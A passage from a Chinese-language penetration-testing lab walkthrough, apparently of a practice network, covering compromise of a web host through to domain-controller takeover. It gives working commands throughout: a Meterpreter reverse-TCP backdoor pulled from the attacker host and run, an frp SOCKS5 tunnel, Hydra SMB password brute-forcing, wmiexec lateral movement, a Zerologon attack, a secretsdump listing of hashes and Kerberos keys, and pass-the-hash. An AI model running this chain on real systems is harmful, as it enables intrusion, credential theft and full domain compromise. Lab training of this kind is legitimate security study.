    • 含义 : 生成的 shell.elf 文件非常小,它只是一个"引导程序"。当它在目标机器上执行时,会主动连接攻击机(192.168.59.128:4444),然后从攻击机下载并注入完整的、功能强大的 Meterpreter 载荷。

  • 成功命令:linux/x64/meterpreter_reverse_tcp

    • 这是一个无阶段 的载荷。

    • 特别之处 : 生成的 meterpreter_nostaged_x64.elf 文件是一个完整的、自包含的 后门程序。它已经将 反向连接器和整个 Meterpreter 载荷都包含在同一个文件中。执行后,它会直接与攻击机建立连接并提供一个功能完整的 Meterpreter 会话,无需额外的网络通信来下载第二阶段载荷。

2、下载木马文件

在 meterpreter_nostaged_x64.elf的目录中执行python3 -m http.server 8888。

Web服务器wget工具下载Kali攻击机生成的木马文件meterpreter_nostaged_x64.elf。

复制代码
​wget http://192.168.59.128:8888/meterpreter_nostaged_x64.elf    

3、MSF监听

MSF开启监听,特别注意payload要与木马一致( linux/x64/meterpreter_reverse_tcp),具体配置如下所示。

复制代码
msfconsole                                         
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
set ExitOnSession false
exploit -j

4、执行msf.elf

特别注意,这里要使用提权后的账户执行MSF生成的木马。如下就是使用wwwuser执行命令,应该使用firefart账户执行。

5、MSF监听成功

回到kali攻击机的MSF监听页面,此时已经监听成功。

六、Fscan探测

这一步需要打开三个windows虚拟机,用于内网横向移动进行渗透测试

1、上传fscan

在攻击机的http网站根目录放入fscan文件,在Web服务器中使用wget命令下载fscan文件。

复制代码
wget http://192.168.59.128:8888/fscan_amd64

2、fscan探测

通过ifconfig可以获知另一个子网为192.168.93.0/24。

复制代码
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.93.0/24

如下所示发现192.168.93.0/24网段中存活的非kali攻击机、我们没有获取到权限的Web服务器外,还有三台设备192.168.93.10和192.168.93.20和192.168.93.30。

复制代码
./fscan_amd64 -h 192.168.93.10,192.168.93.20,192.168.93.30

通过扫描我们发现这三台设备的10、20、30的445端口均开放,分别为Window Server 2012服务器、Windows 7系统、Windows Server2008服务器。

七、frp代理配置

1、原理详解

我们计划Kali攻击机(192.168.59.128)上创建了一个端口为12347的Socks5代理,通过跳板机(外网ip为192.168.59.188,内网ip为192.168.93.100)作为中转,使攻击者能通过代理直接访问192.168.93.0/24内网资源。

  • Kali(192.168.59.128)作为FRP服务器与攻击控制中心
  • 跳板机(192.168.59.188)作为FRP客户端与流量中转站,实现对192.168.93.0/24内网访问

**攻击机(Kali)**的代理工作流程具体如下所示。

  • 服务启动与通道建立

    • 攻击机上的 frps 监听 7000 端口。

    • 跳板机上的 frpc 主动连接到攻击机的 7000 端口,建立控制通道 ,并注册 socks5服务。

  • 代理服务暴露

    • frps 在攻击机本地成功开启 SOCKS5代理服务 ,监听 12347 端口。
  • 数据流(内网渗透)

    • 攻击机上的攻击工具 (如nmap)配置proxychains SOCKS5 代理为 127.0.0.1:12347

    • 当工具访问内网目标(如 192.168.93.10)时,流量被发送到本地的 12347 端口。

    • frps 通过已建立的控制通道,将流量转发给跳板机上的 frpc。

    • frpc 最终以跳板机的身份,直接访问内网目标,并将响应数据沿原路返回给攻击工具

      flowchart LR
      subgraph A [攻击机 Kali
      192.168.59.128]
      direction TB
      A1[攻击工具
      浏览器/扫描器]
      A2[frps
      7000端口]
      A3[SOCKS5代理服务
      12347端口]

      复制代码
          A1 -- "配置代理: 127.0.0.1:12347" --> A3
          A3 -- "数据转发" --> A2
      end
      
      B[跳板机<br>192.168.59.188<br>运行frpc]
      
      C[内网设备<br>192.168.93.0/24]
      
      A -- "1. 建立控制通道<br>7000端口" --> B
      B -- "2. 发起内网访问" --> C

2、服务器(KALI攻击机)

  • 核心角色:FRP服务端,用于接收和管理客户端连接。

  • 监听端口7000,负责与FRP客户端建立控制通道。

  • 启动命令./frps -c frps.ini,运行FRP服务端程序。

  • 功能:认证并维持与跳板机的稳定连接,为后续代理转发提供基础。

(1)配置文件frps.ini

|-----------------|
| bindPort = 7000 |

(2)kali执行frps

./frps -c frps.ini

3、客户端(Web跳板机)

  • 核心角色:FRP客户端与服务提供端。

  • 连接配置 :指向Kali服务器(server_addr = 192.168.59.128:7000)。

  • 服务定义 :创建了一个名为 [socks5] 的代理服务。

    • 类型type = tcp

    • 出口端口remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。

    • 插件plugin = socks5,直接提供Socks5代理协议支持。

  • 功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。

(1)配置文件frpc.ini

|----------------------------------------------------------------------------------------------------------------------|
| [common] server_addr = 192.168.59.128 server_port = 7000 [socks5] type = tcp remote_port = 12347 plugin = socks5 |

(2)Web服务器下载frpc文件

Kali攻击机在frpc的目录中开启http服务(或者将frpc和frpc.ini文件放入到已经开启的Web服务根目录中也可以),Web服务器下载frpc和frpc.ini文件,具体如下所示。

复制代码
wget http://192.168.59.128:8888/frpc
wget http://192.168.59.128:8888/frpc.ini

(3)Web服务器执行frpc

./frpc -c frpc.ini&

4、Kali配置proxychains

配置proxychains文件使用socks5 0.0.0.0 12347代理,该配置指示proxychains工具将所有网络流量通过位于本机所有接口上的SOCKS5代理服务器(端口12347)进行转发,实现网络访问的匿名化与流量路由,用于连接内网192.168.93.0/24网段。

socks5 0.0.0.0 12347

八、SMB爆破(域成员)

1、探测SMB

使用Metasploit框架中的SMB版本扫描模块,对192.168.93.10到192.168.93.30这个IP范围内的所有主机进行扫描,目的是探测和识别这些主机的SMB服务版本信息、操作系统类型、主机名、域信息等详细指纹信息。

复制代码
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.10-30
run

运行结果如下所示,根据扫描结果,网络中存在三台Windows主机,192.168.93.20(Windows Server 2008 SP2)、192.168.93.30(Windows 7 SP1)、192.168.93.10(Windows Server 2012 R2)。

复制代码
[*] 192.168.93.10:445     - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.0.2) (signatures:required) (uptime:47m 16s) (guid:{7130fc44-65bc-44e6-8bc7-afd0ff0bc450}) (authentication domain:TEST)
[+] 192.168.93.10:445     -   Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST)
[*] 192.168.93.10-30:     - Scanned  3 of 21 hosts (14% complete)
[*] 192.168.93.10-30:     - Scanned  5 of 21 hosts (23% complete)
[*] 192.168.93.10-30:     - Scanned  7 of 21 hosts (33% complete)
[*] 192.168.93.10-30:     - Scanned  9 of 21 hosts (42% complete)
[*] 192.168.93.20:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.0.2) (signatures:optional) (uptime:302w 6d 22h 0m 9s) (guid:{f9644969-0bf4-48c7-ab87-58ba8044ed81})
[+] 192.168.93.20:445     -   Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST)
[*] 192.168.93.10-30:     - Scanned 11 of 21 hosts (52% complete)
[*] 192.168.93.10-30:     - Scanned 13 of 21 hosts (61% complete)
[*] 192.168.93.10-30:     - Scanned 15 of 21 hosts (71% complete)
[*] 192.168.93.10-30:     - Scanned 17 of 21 hosts (80% complete)
[*] 192.168.93.10-30:     - Scanned 19 of 21 hosts (90% complete)
[*] 192.168.93.30:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:309w 2d 18h 47m 41s) (guid:{5cc9a08c-4395-4e1d-95be-f93ec2195144}) (authentication domain:TEST)
[+] 192.168.93.30:445     -   Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST)
[*] 192.168.93.10-30:     - Scanned 21 of 21 hosts (100% complete)

(1)目标1: 192.168.93.10 - Windows Server 2012 R2

复制代码
- 系统: Windows 2012 R2 Datacenter (build 9600)
- SMB版本: 1, 2, 3 (首选SMB 3.0.2)
- 签名: 必需 (required)
- 运行时间: 47分钟 (可能是新启动的)
- 域名: TEST

(2)目标2: 192.168.93.20 - Windows Server 2008

复制代码
- 系统: Windows 2008 Datacenter SP2 (build 6003)
- SMB版本: 1, 2 (首选SMB 2.0.2) 
- 签名: 可选 (optional) - 更容易攻击!
- 运行时间: 302周 (系统很久没重启)
- 域名: TEST

(3)目标3: 192.168.93.30 - Windows 7

复制代码
- 系统: Windows 7 Professional SP1 (build 7601)
- SMB版本: 1, 2 (首选SMB 2.1)
- 签名: 可选 (optional) - 更容易攻击!
- 运行时间: 309周 (系统很久没重启)
- 域名: TEST

2、构造密码字典

构造密码字典,使用top1000.txt,哈哈,本关卡要想爆破成功,需要至少包含红框内的密码123qwe!ASD,没有的话会导致10和30爆破失败。

将top1000.txt密码字典放入kali linux的当前terminal的目录中。

3、爆破SMB密码

(1)爆破192.168.93.20(WinServer 2008)

通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.20的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。

proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.20

发现密码为123qwe!ASD,具体如下所示。

(2)爆破192.168.93.30(PC Win7)

通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.30的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。

proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.30

发现密码为123qwe!ASD,具体如下所示。

(3)爆破192.168.93.10(WinServer 2012)

通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.10的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。但是本次探测失败,没有找到密码。

proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.10。

九、横向渗透

1、Wmiexec横向移动192.168.93.30(PC Win7)

通过proxychains4代理隧道调用Impacket工具集中的wmiexec.py脚本,使用获取的凭证(administrator:123qwe!ASD)通过Windows管理规范协议与内网主机192.168.93.20建立带调试信息的远程命令行会话,实现无需上传恶意文件的内网横向移动,如下所示渗透成功。

proxychains4 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.30'

2、Wmiexec横向移动192.168.93.20(WinServer2008)

通过proxychains4代理隧道调用Impacket工具集中的wmiexec.py脚本,使用获取的凭证(administrator:123qwe!ASD)通过Windows管理规范协议与内网主机192.168.93.20建立带调试信息的远程命令行会话,实现无需上传恶意文件的内网横向移动,如下所示渗透成功。

proxychains4 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

3、zerologon渗透域控192.168.93.10

(1)探测漏洞

根据30上执行结果,可知域名为test,域控为WIN-8GA56TNV3MV (IP: 192.168.93.10)

(2)置空密码

复制代码
proxychains -q python set_empty_pw.py WIN-8GA56TNV3MV 192.168.93.10 

|---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|
| |
| | ┌──(kali㉿kali)-[~/Desktop/zerologon] └─ proxychains -q python set_empty_pw.py WIN-8GA56TNV3MV 192.168.93.10 Performing authentication attempts... NetrServerAuthenticate3Response ServerCredential: Data: b's\\xec}\\x8e\\x99\\xde\\x1d\\xf4' NegotiateFlags: 556793855 AccountRid: 1001 ErrorCode: 0 server challenge b's\\xe4{f\\xcc\\xab\\x99\\xa8' NetrServerPasswordSet2Response ReturnAuthenticator: Credential: Data: b'\\x01\\x04\\x9d-\xc2y\x05' Timestamp: 0 ErrorCode: 0 Success! DC should now have the empty string as its machine password. | |

(3)打印哈希

复制代码
proxychains -q  secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV$\@192.168.93.10(linux系统)

|---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|
| | └─ proxychains -q secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV\@192.168.93.10 /usr/lib/python3/dist-packages/pkg_resources/init.py:116: PkgResourcesDeprecationWarning: 1.12.1-git20200711.33e2d80-dfsg1-0.6 is an invalid version and will not be supported in a future release warnings.warn( /usr/lib/python3/dist-packages/pkg_resources/init.py:116: PkgResourcesDeprecationWarning: 1.16.0-unknown is an invalid version and will not be supported in a future release warnings.warn( Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:571bcade06358cf8ea77e8418e857355::: test.org\win7:1104:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1::: test.org\win2008:1105:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1::: WIN-8GA56TNV3MV:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WIN2008:1106:aad3b435b51404eeaad3b435b51404ee:c47b1f47431b259861e615472864c698::: WIN7:1107:aad3b435b51404eeaad3b435b51404ee:ccebf3bb47b3c8b7605ffa55aacf3bae::: \[\*\] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:eede88728a78032cf9f5ca18c315f190348890da2ec5d433e66200a87cf826b0 Administrator:aes128-cts-hmac-sha1-96:576e4a136133e69e019b4fa2db8f7de1 Administrator:des-cbc-md5:e93e94192a8f236b krbtgt:aes256-cts-hmac-sha1-96:6ad4f1e53f2b19a874201fbf002c9b1895c05cdbf418052601f282ccaba34500 krbtgt:aes128-cts-hmac-sha1-96:25dcb51ac50803a0bd4d93549b07d9ca krbtgt:des-cbc-md5:c275c27a45a2757c test.org\\win7:aes256-cts-hmac-sha1-96:db6b997b316503f887492885d0610a3fc5aa3a20c181f675fc918e167ca9a73a test.org\\win7:aes128-cts-hmac-sha1-96:ae208f45cc3723ff7b6720284173c61b test.org\\win7:des-cbc-md5:6eb3cb707f75cd1f test.org\\win2008:aes256-cts-hmac-sha1-96:b18a1fe3050c99ac441aae11fb4943951496857f569cb390dbd733278b4f258f test.org\\win2008:aes128-cts-hmac-sha1-96:3f3d51fc133d11577bbd1d091a49ca9b test.org\\win2008:des-cbc-md5:85bc2623b90738ea WIN-8GA56TNV3MV:aes256-cts-hmac-sha1-96:f87e2e3ecde86f8cdc5d8e6daa473017e77d20a4a8b36c0474042971f6351c90 WIN-8GA56TNV3MV:aes128-cts-hmac-sha1-96:ddba0f36c666f0599097ebc032eaeee7 WIN-8GA56TNV3MV:des-cbc-md5:46c2f2feabe0e38a WIN2008:aes256-cts-hmac-sha1-96:b2f49e27d19765f2853c261a3fcfd52de8fec3969fed71d1a70c11475eb00016 WIN2008:aes128-cts-hmac-sha1-96:a82e48cb161c634bc30a0c1ad4733cfb WIN2008:des-cbc-md5:df6b0e5dd35e735b WIN7:aes256-cts-hmac-sha1-96:f9497f453425611e8d6d9762fa99dae808c67ccd545876992ecde3f87dc7cd17 WIN7:aes128-cts-hmac-sha1-96:34c7c3f435df4ecb15dfdd0aeb578efe WIN7:des-cbc-md5:3d9dfe8f2f522fad [*] Cleaning up... | |
| |

复制代码
如下所示,成功获取到aministrator的ntlm值

Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97:::

复制代码
哈希值18edd0cc3227be3bf61ce198835a1d97

(4)PTH获取域控控制权限

proxychains -q wmiexec.py test/administrator@192.168.93.10 -hashes aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97

复制代码
如下所示,成功getshell.

(5)恢复密码

复制代码
proxychains -q python  reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97  
复制代码
proxychains -q python  reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97 
Performing authentication attempts...
============================================================================================================================================================================================================================================================================================================================================================================================================================================================
NetrServerAuthenticate3Response 
ServerCredential:               
    Data:                            b'}\x05\x7f@\xd6tB\x1e' 
NegotiateFlags:                  556793855 
AccountRid:                      1001 
ErrorCode:                       0 


server challenge b'}\x87\x91\xd1"\x15>\xcf'
session key b'7\x9b\x85t\xea\x07\x16\xf0\xd6\xe8\x95N\x98\xa4"\x10'
Odd-length string

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.
相关推荐
vortex514 小时前
基于资源约束的委派 (RBCD) 利用细节
网络·网络协议·网络安全·内网渗透·ad域
0DayHP10 天前
HTB:DarkZero[WriteUP]
网络安全·内网渗透
mooyuan天天3 个月前
万字讲解内网横向渗透vulnstack(八):红日靶场8实战全流程2(二层内网 CVE-2017-0144)
内网渗透·横向移动·红日靶场8
mooyuan天天3 个月前
万字讲解内网横向渗透vulnstack(八):红日靶场8实战全流程3(三层内网 CVE-2013-3238)
内网渗透·横向移动·红日靶场·红日靶场8
mooyuan天天3 个月前
万字详解红日靶场8渗透实战 DMZ区(CVE-2017-0144)
web安全·内网渗透·横向移动·红日靶场
Bruce_Liuxiaowei3 个月前
解决 PowerShell 模块加载无响应问题的实用指南——Invoke-Obfuscation为例
windows·网络安全·内网渗透
Bruce_Liuxiaowei3 个月前
基于Regsvr32.exe的渗透测试完整记录
网络·windows·安全·网络安全·内网渗透
QuantumRedGuestk3 个月前
CS工具正反向渗透靶场实操解读【文图】
网络安全·内网渗透·cs·靶场渗透
Bruce_Liuxiaowei3 个月前
如何彻底禁用 Windows Defender(附安全模式终极方案)
windows·安全·网络安全·内网渗透
0DayHP3 个月前
HTB:MonitorsFour[WriteUP]
网络安全·内网渗透·web渗透